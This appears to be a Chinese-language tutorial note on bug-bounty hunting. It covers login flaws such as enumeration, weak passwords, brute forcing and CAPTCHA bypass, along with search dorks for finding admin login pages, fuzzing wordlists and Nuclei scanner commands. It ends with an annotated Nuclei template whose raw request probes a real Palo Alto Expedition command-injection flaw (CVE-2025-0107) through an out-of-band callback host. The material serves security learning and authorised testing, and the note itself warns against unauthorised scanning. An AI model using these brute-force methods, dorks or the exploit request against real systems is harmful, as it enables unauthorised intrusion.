漏洞挖掘
漏洞提交一些平台
建议:提交漏洞时标题尽量全面一些:如 某某系统某某功能存在什么漏洞导致什么危害
可以在各个企业、学校等对应平台上进行尝试,但注意不要对其系统造成危害
账号密码相关漏洞
1、用户名枚举
2、弱口令
3、信息密码泄露:如在代码中存在账号密码等情况
4、对登录次数没有进行限制 :可以对用户名和密码进行爆破
5、验证码绕过
6、....
方法:
1、使用网络空间探测或者百度高级搜索等方式先找到登录界面
以百度为例:直接在百度,搜索百度高级搜索 ==》进入百度高级搜索
或者也可以通过百度的搜索用法进行搜索 ;如:title:(后台登录)
FUZZ(模糊测试)
FUZZ:模糊测试,与爆破类似
用到FUZZ的场景:在平时挖漏洞的过程中,如果没有成果或者有时候页面是一个空白页面(可以尝试爆破一下参数)、目录扫描不出来、发现更多资产、一个什么有用信息也没有的网站等情况
根据不同场景会用许多不同的字典,如:用户字典、密码字典、后缀名字典、目录字典、api字典、sql注入fuzz字典、参数字典、参数值字典、XSS字典等等,根据需要选择不同的字典进行FUZZ测试可以提高效率。
字典可以自己平时积累,也可以在网上找到;这是网络上的一些字典项目:FUZZING: 对所有漏洞的fuzz字典,项目不定期更新 (gitee.com)
arjun :kali中的一个工具,作用是用来爆破 参数的
fuzz测试时可以尝试进行逐级测试:常见于fuzz目录的情况,一级一级的将目录爆破出来
fuzz测试时,如果有多个可以fuzz的地方,那么可以一个一个fuzz,一个一个将其测出来
Nuclei
Nuclei是开源漏洞扫描工具;下载地址:Releases · projectdiscovery/nuclei (github.com)
注意:在windows中使用Nuclei时,最好使用cmd命令行打开:先进入到nuclei所在目录,在执行nuclei.exe即可打开!!!
!!!后续所有命令,将 nuclei 换成nuclei.exe(在window中使用时)
漏洞模板文件nuclei-templates 在 :
C:\Users\A5401\nuclei-templates (window系统)
/root/.local/nuclei-templates (kali)
第一次安装时,信息中会提示模板文件的具体位置
nuclei -update-templates :模板更新命令,因为漏洞模板是实时更新的,所以在使用nuclei时,最好使用该命令更新一下模板
nuclei tl :查看所有漏洞模板
用法:
常用命令:(未经授权的扫描,也可视为攻击行为!!!)
1)nuclei -u 网址/ip : 它会扫描指定网站在nuclei漏洞模板中的所有漏洞
注意:扫描结果中,每一条结果的第一个[]中的绿色字符串是该漏洞的描述
2)nuclei -u url -t 漏洞模板文件夹/漏洞模板文件 :它会扫描指定漏洞文件夹中的所有漏洞或是指定的漏洞;
在nuclei-templates文件中有nuclei扫描时所能用到的所有漏洞模板文件,在该文件中不同类型漏洞模板的按照规则被分别放在不同文件夹中,
如,按网站、云服务器等分类,在进一步分类,如网站又分为不同类型:如按网站名分:tmmcat、baidu等等
3)nuclei -u url -o 文件名 : 保存扫描结果到指定文件
4)nuclei -l eg.txt(文件名) :批量扫描网站; -l后面的文件中存放所有需要扫描的网站的url;后面若是加上 -t ,可以扫描指定漏洞
漏洞模板脚本是使用yaml语言编写的。我们也可以自己编写脚本,但使用时要将脚本放在模板文件nuclei-templates下
详细用法参考:
Nuclei——一款基于YAML语法模板的快速漏洞扫描工具-CSDN博客
YAML编写漏洞脚本
示例:
#漏洞的唯一标识符。也可以理解为对漏洞的描述。如果满足了下面匹配器(matchers)中的规则,显示出的就是id的值。
id: CVE-2025-0107 #info是描述信息,其中包含了漏洞名称、作者或发现者、漏洞的信息描述、参考资料链接等信息,该部分的信息没有强制规定,可以由编写者自己定义,它不会对扫描漏洞产生影响,也可以不写 info:
#漏洞名称 name: Palo Alto Networks Expedition - OS Command Injection
#漏洞作者或发现者 author: iamnoooob,pdresearch
#漏洞级别 severity: critical
#漏洞信息Ms description: | An OS command injection vulnerability in Palo Alto Networks Expedition enables an unauthenticated attacker to run arbitrary OS commands as the www-data user in Expedition, which results in the disclosure of usernames, cleartext passwords, device configurations, and device API keys for firewalls running PAN-OS software.
#参考链接 reference: - https://security.paloaltonetworks.com/PAN-SA-2025-0001 - https://ssd-disclosure.com/ssd-advisory-palo-alto-expedition-rce-regionsdiscovery/ - https://nvd.nist.gov/vuln/detail/CVE-2025-0107 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 epss-score: 0.20161 epss-percentile: 0.95559 metadata: verified: true max-request: 1 shodan-query: title:"Expedition" fofa-query: title=="Expedition Project" tags: cve,cve2025,rce,paloalto,expedition #描述了与该漏洞相关的HTTP请求匹配规则的列表,是该漏洞脚本的重点!!!!! http:
#“raw”字段通常指的是原始的HTTP请求字符串
#使用表单数据时,可以使用form字段,如果请求数据时JSON格式,使用json字段
#对于url编码的数据,使用urlencoded字段,文件上传使用multipart字段 - raw:
#这里要参考漏洞的触发信息是怎样的,漏洞需要提交什么样的数据包来编写内容 - | GET /API/regionsDiscovery.php?master=spark%3A%2F%2F{{interactsh-url}}:443&mask=26&project=your_project&devices=device1%2Cdevice2&mtserver=127.0.0.1%3A3306&mtuser=root&mtpassword=paloalto&task-id=1193&mode=pre-analysis®ions=&parquetPath=%2Ftmp&timezone=Europe%2FHelsinki&mlserver=127.0.0.1&debug=false&initDate=2023-01-01&endDate=2023-01-31 HTTP/1.1 Host: {{Hostname}}
#该字段定义了匹配器的条件,and表示,若是有多个条件,则匹配器编写满足所有条件;or表示,若是有多个条件,则匹配器满足其中一个即可 matchers-condition: and
#匹配器,漏洞条件的特征点写在里面 matchers:
#匹配条件,若是有多个,则同样的格式写多遍 - type: word
#指定匹配的部分,这里指定匹配响应包的body部分,根据实际情况,有时也可以不写 part: body
#指定要匹配的关键字列表,若是在响应主体中匹配到,则认为漏洞存在 words: - 'msg":"Started' - '"success":true' condition: and #另一个匹配器 - type: word part: interactsh_protocol words: - "dns" # digest: 4a0a0047304502204f1e0754b11ed11c10c57214049f0756499bbc9c34978141a605d3be225fa4cd022100ab3d87dde8e9cff41a612ffaa8c9ec5fee59d5e0ce1640e42913679ce0d212b0:922c64590222798bb761d5b6d8e72950
使用nuclei+AL可以一键编写POC脚本,但是写出来的脚本需要手动调试,修改一下。
地址:cloud.projectdiscovery.io/templates
参考教学视频:AI自动编写POC测试脚本.mp4_哔哩哔哩_bilibili